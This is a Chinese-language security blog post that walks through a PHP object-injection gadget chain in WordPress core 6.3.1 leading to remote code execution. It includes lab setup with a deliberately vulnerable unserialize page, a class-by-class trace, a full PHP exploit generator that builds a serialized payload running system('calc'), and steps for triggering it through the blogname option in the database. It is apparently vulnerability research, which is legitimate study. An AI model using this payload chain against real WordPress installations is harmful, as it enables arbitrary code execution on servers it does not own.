环境搭建 我这里使用phpstudy搭建的 WordPress 环境,官网下载 6.3.1 版本,https://wordpress.org/download/releases/
注意在安装的时候会自动更新到wordpress最新版本,需要禁止自动更新
在填完数据库信息,点下一步之后会生成 wp-config.php 文件,这个时候在 wp-config.php 文件中添加如下代码即可:
1 define ( 'WP_AUTO_UPDATE_CORE' , false );
创建漏洞点,需要包含wp-load.php
,然后调用wp()
函数初始化
1 2 3 4 5 6 7 8 9 10 <?php require_once __DIR__ . '/wp-load.php' ;wp ();$a = unserialize ('...' );echo $a ;
漏洞分析 wp-includes/class-wp-theme.php
通过__toString
会调用到它的 display 方法
跟进到 get 方法
如果实现了 ArrayAccess 接口,即数组式访问,那么在执行$this->headers[ $header ]
时会调用 offsetGet 方法
ArrayAccess接口的妙用 这里找到wp-includes/class-wp-block-list.php
进行实例化 WP_Block 类,参数都是可控的,跟进到它的__construct
方法wp-includes/class-wp-block.php
调用到WP_Block_Type_Registry
的 get_registered 方法,并且这里$this->name
可控wp-includes/class-wp-block-type-registry.php
又是一个执行 offsetGet 的操作,区别是这一次数组索引是可控的
再次看到 WP_Theme 类,该类也实现了 ArrayAccess 接口wp-includes/class-wp-theme.php
当$offset
为 Parent Theme 的时候,调用
1 return $this ->parent () ? $this ->parent ()->get ( 'Name' ) : '' ;
这里会调用$this->parent
该对象的 get 方法
get方法到RCE 找到wp-includes/Requests/src/Session.php
的get方法
跟进到 request 方法
跟进 merge_request 方法
我们的$request
内容可控
1 return Requests ::request ($request ['url' ], $request ['headers' ], $request ['data' ], $type , $request ['options' ]);
走到wp-includes/Requests/src/Requests.php
我们设置$options['hooks']
为 Hooks 类,那么就会调用它的dispatch方法
wp-includes/Requests/src/Hooks.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public function dispatch ($hook , $parameters = [] ) { if (is_string ($hook ) === false ) { throw InvalidArgument ::create (1 , '$hook' , 'string' , gettype ($hook )); } if (is_array ($parameters ) === false ) { throw InvalidArgument ::create (2 , '$parameters' , 'array' , gettype ($parameters )); } if (empty ($this ->hooks[$hook ])) { return false ; } if (!empty ($parameters )) { $parameters = array_values ($parameters ); } ksort ($this ->hooks[$hook ]); foreach ($this ->hooks[$hook ] as $priority => $hooked ) { foreach ($hooked as $callback ) { $callback (...$parameters ); } } return true ; }
这里引用了可变函数的概念:https://www.php.net/manual/zh/functions.variable-functions.php 如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途
即:
我们可以递归调用一次Hooks::dispatch()
方法,变成了:
1 $options ['hooks' ]->dispatch ($url , $headers , &$data , &$type , &$options ])
又由于该方法只需要两个参数,那么$data
、$type
、和$options
将不被使用
最后通过$callback(...$parameters);
可变长参数实现RCE
漏洞利用 最后实现的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 <?php namespace WpOrg \Requests { class Session { public $url ; public $headers ; public $options ; public function __construct ($url , $headers , $options ) { $this ->url = $url ; $this ->headers = $headers ; $this ->options = $options ; } } class Hooks { public $hooks ; public function __construct ($hooks ) { $this ->hooks = $hooks ; } } } namespace { use WpOrg \Requests \Hooks ; use WpOrg \Requests \Session ; final class WP_Block_Type_Registry { public $registered_block_types ; public function __construct ($registered_block_types ) { $this ->registered_block_types = $registered_block_types ; } } class WP_Block_List { public $blocks ; public $registry ; public function __construct ($blocks , $registry ) { $this ->blocks = $blocks ; $this ->registry = $registry ; } } final class WP_Theme { public $headers ; public $parent ; public function __construct ($headers = null , $parent = null ) { $this ->headers = $headers ; $this ->parent = $parent ; } } $blocks = array ( 'Name' => array ( 'blockName' => 'Parent Theme' ) ); $hooks_recurse_once = new Hooks ( array ( 'http://p:0/Name' => array ( array ('system' ) ) ) ); $hooks = new Hooks ( array ( 'requests.before_request' => array ( array ( array ( $hooks_recurse_once , 'dispatch' ) ) ) ) ); $parent = new Session ('http://p:0' , array ("calc" ), array ('hooks' => $hooks )); $registered_block_types = new WP_Theme (null , $parent ); $registry = new WP_Block_Type_Registry ($registered_block_types ); $headers = new WP_Block_List ($blocks , $registry ); echo serialize (new WP_Theme ($headers )); }
调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 Hooks.php:93, WpOrg\Requests\Hooks->dispatch() Hooks.php:93, WpOrg\Requests\Hooks->dispatch() Requests.php:455, WpOrg\Requests\Requests::request() Session.php:232, WpOrg\Requests\Session->request() Session.php:159, WpOrg\Requests\Session->get() class-wp-theme.php:702, WP_Theme->offsetGet() class-wp-block-type-registry.php:145, WP_Block_Type_Registry->get_registered() class-wp-block.php:130, WP_Block->__construct() class-wp-block-list.php:96, WP_Block_List->offsetGet() class-wp-theme.php:833, WP_Theme->get() class-wp-theme.php:851, WP_Theme->display() class-wp-theme.php:513, WP_Theme->__toString()
后续的利用方式找到了当年一篇有意思的文章:WordPress < 3.6.1 PHP Object Injection
简单来说就是获取数据库中的 metadata 时,会调用maybe_unserialize
对数据处理,如果通过 insert、update 将数据写入到数据库中,或者能够控制数据库,就会执行反序列化操作
我们通过数据库修改在前台会显示的内容为我们的payload,即会调用__toString
方法,这里我修改的为 wp_options 表中blogname的value
访问首页,成功RCE
参考:WordPress Core RCE Gadget 分析 Finding A RCE Gadget Chain In WordPress Core https://github.com/ambionics/phpggc/blob/master/gadgetchains/WordPress/RCE/1/chain.php